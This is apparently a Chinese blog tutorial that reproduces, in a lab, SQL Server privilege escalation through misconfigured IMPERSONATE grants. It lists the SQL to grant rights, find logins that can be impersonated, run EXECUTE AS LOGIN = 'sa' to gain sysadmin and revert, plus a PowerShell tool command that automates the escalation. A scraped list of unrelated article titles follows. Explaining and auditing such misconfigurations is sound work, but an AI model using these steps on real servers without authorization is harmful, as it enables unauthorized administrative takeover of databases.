0x01 前提

开发者有时为了满足某种需求,允许其他登录用户模拟高权限的用户,对于开发来说,一个再简单不过的功能。虽然严格意义上这不算个漏洞,但是这种配置不当一般可以用来提权。

0x02 复现

1.sa用户登录创建4个用户

-- Create login 1

CREATE LOGIN MyUser1 WITH PASSWORD = 'MyPassword!';

-- Create login 2

CREATE LOGIN MyUser2 WITH PASSWORD = 'MyPassword!';

-- Create login 3

CREATE LOGIN MyUser3 WITH PASSWORD = 'MyPassword!';

-- Create login 4

CREATE LOGIN MyUser4 WITH PASSWORD = 'MyPassword!';

2.赋予用户MyUser1权限来模拟 MyUser2, MyUser3,及sa

USE master;

GRANT IMPERSONATE ON LOGIN::sa to [MyUser1];

GRANT IMPERSONATE ON LOGIN::MyUser2 to [MyUser1];

GRANT IMPERSONATE ON LOGIN::MyUser3 to [MyUser1];

GO

在SQL Server的安全模型中,模拟(IMPERSONATE )权限的安全对象是User或Login,被授予者(Grantee )有权限模拟指定用户,在其安全上下文执行特定的操作。

例如,user1授予模拟user2的权限,当user2的安全上下文有足够的权限,而user1没有时,通过权限模拟,user1能够在user2的权限上下文中执行查询请求:

GRANT IMPERSONATE ON USER:: user2 TO user1;

通过执行EXECUTE AS 命令模拟用户的权限,用户user1就运行在user2的安全上下文中,例如,user1在登陆数据库之后,模拟user2的权限:

EXECUTE AS USER = 'user2';

3.查找可以模拟登录的用户

默认情况下,系统管理员可以模拟任何人,但是正常登录必须分配权限来模拟特定的用户,使用MyUser1用户登录,打开新建查询,执行下面语句查询那些用户可以用来模拟登录

SELECT distinct b.name

FROM sys.server_permissions a

INNER JOIN sys.server_principals b

ON a.grantor_principal_id = b.principal_id

WHERE a.permission_name = 'IMPERSONATE'

这里我们可以看到MyUser1用户可以模拟登录sa,MyUser2,MyUser2用户,接下来就是模拟登录sa来获取sysadmin权限了

4.模拟SQL Server用户登陆

-- 验证是否为sysadmin权限

SELECT SYSTEM_USER

SELECT IS_SRVROLEMEMBER('sysadmin')

-- 模拟sa登录

EXECUTE AS LOGIN = 'sa'

-- 验证是否为sysadmin权限

SELECT SYSTEM_USER

SELECT IS_SRVROLEMEMBER('sysadmin')

可以看到,第二个查询之后我们已经是sysadmin的权限了

我们再用查看登录用户来验证下

SELECT * FROM master.sys.sysusers

WHERE islogin = 1

模拟sa登录之前

模拟sa登录之后

权限高了,可以看到更多的用户登录

5.回到原来的登录

REVERT

SELECT SYSTEM_USER

SELECT IS_SRVROLEMEMBER('sysadmin')

这样我们又回到myuser1用户登录的会话了

0x03 工具化

Invoke-SqlServer-Escalate-ExecuteAs -SqlUser MyUser1 -SqlPass MyPassword! -SqlServerInstance WIN-80LVKKRM5UA

总的来说,利用这个来提权也不算是漏洞,毕竟可能是运维人员想要的正常功能,然后被攻击者利用,达到提权sysadmin的目的。

sqlserver提权失败_利用mssql模拟登录提权相关推荐

  1. Python 利用 cookie 模拟登录,爬取指定关键词的淘宝商品信息

    Python 利用 cookie 模拟登录,爬取指定关键词的淘宝商品信息-Selenium 1. 本文目标 由于淘宝网站的不断更新,以前的爬取方法都无法重现,必须需要登录淘宝网站才可以进行搜索商品.所 ...

  2. python paste_利用Python模拟登录pastebin.com的实现方法

    任务 在https://pastebin.com网站注册一个账号,利用python实现用户的自动登录和创建paste.该任务需要分成如下两步利用python实现: 1.账号的自动登录 2.paste的 ...

  3. 提权命令_利用Linux文本操作命令ed进行提权

    本文我将为大家介绍一个面向行的文本编辑器命令"ed",它主要用于生成,显示,更改和操作文本文件.所有ed命令都在行或行范围内执行操作:例如,"d"命令删除行:& ...

  4. MySQL提权的两种方式_利用sqlmap进行mysql提权的小方法(win与liunx通用)

    文章作者:pt007@vip.sina.com 文章来源:https://www.t00ls.net/thread-36196-1-1.html 1.连接mysql数据打开一个交互shell: sql ...

  5. python post请求 上传图片_利用python模拟实现POST请求提交图片的方法

    本文主要给大家介绍的是关于利用python模拟实现POST请求提交图片的方法,分享出来供大家参考学习,下面来一看看详细的介绍: 使用requests来模拟HTTP请求本来是一件非常轻松的事情,比如上传 ...

  6. 利用python从网页查找数据_利用Python模拟淘宝的搜索过程并对数据进行可视化分析...

    数据挖掘入门与实战 公众号: datadw 本文讲述如何利用Python模拟淘宝的搜索过程并对搜索结果进行初步的数据可视化分析. 搜索过程的模拟:淘宝的搜索页面有两种形式, 一种形式是, 2019/2 ...

  7. python 通过title判断_利用Python模拟GitHub登录

    点击关注,我们共同每天进步一点点! 最近学习了Fiddler抓包工具的简单使用,通过抓包,我们可以抓取到HTTP请求,并对其进行分析.现在我准备尝试着结合Python来模拟GitHub登录. Fidd ...

  8. python github登陆_利用Python模拟GitHub登录!

    最近学习了Fiddler抓包工具的简单使用,通过抓包,我们可以抓取到HTTP请求,并对其进行分析.现在我准备尝试着结合Python来模拟GitHub登录. Fiddler抓包分析 首先,我们想要模拟一 ...

  9. python利用cookie模拟登录

    转载:http://cuiqingcai.com/968.html 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 importurllib ...

最新文章

  1. python (第八章)补充-可迭代对象(补充高阶函数,以及常用的高阶函数)
  2. jQuery each、节点操作、动画演示、尺寸操作、扩展方法
  3. Windows中命令提示符被禁用的解决方法
  4. 发邮件请领导审批文件怎么说_住建部:1月1日起,两项甲级资质实行告知承诺审批!...
  5. jboss 的debug启动4法
  6. Atitit 运营之道 互联网产品运营之道 attilax、著 1. 概念 2 1.1. 核心点 内容 媒体 用户 活动 数据分析 2 2. 第二章内容运营   2 2.1. 2.1 创建用户模
  7. URI和URL的区别与联系
  8. 两种操作botton的方法
  9. 啊哈添柴挑战Java1080. 请告诉我谁小?
  10. linux系统下questasim 10.7安装教程
  11. cmd查看python库命令_怎么用命令查看python的库
  12. 平移计算机图形学代码注释,求代码注释:计算机图形学的OpenGL画四面体。高手来吧。争取每句都注释下。谢谢...
  13. Set集合及源码分析
  14. 论文笔记-ORB-SLAM2-双目与rgbd相机跟单目情况的区别
  15. js设置button和input不可点击
  16. 【俗话编程】什么是对象?
  17. QVGA HVGA WVGA VGA
  18. 匠心造就可靠,协同铸就未来
  19. 攻防世界-file_include
  20. .nav css,Bootstrap CSS组件之导航(nav)

热门文章

  1. Navicat for Mysql 的使用
  2. csrf token invalid什么意思_Spring Cloud Gateway 实现Token校验
  3. python称号_C 语言荣获 2019 年度最佳编程语言称号
  4. python在哪里写代码-在哪里编写python代码
  5. python可以做什么工作-济南大数据可以做哪些岗位
  6. python怎么读取excel-Python|读、写Excel文件(三种模块三种方式)
  7. python与excel-python3与Excel的完美结合
  8. 为什么黑客都用python-终于发现为什么黑客都用python
  9. VB589语音识别芯片开发
  10. 语音识别准确率终于提升了 以后可以随时和机器人聊天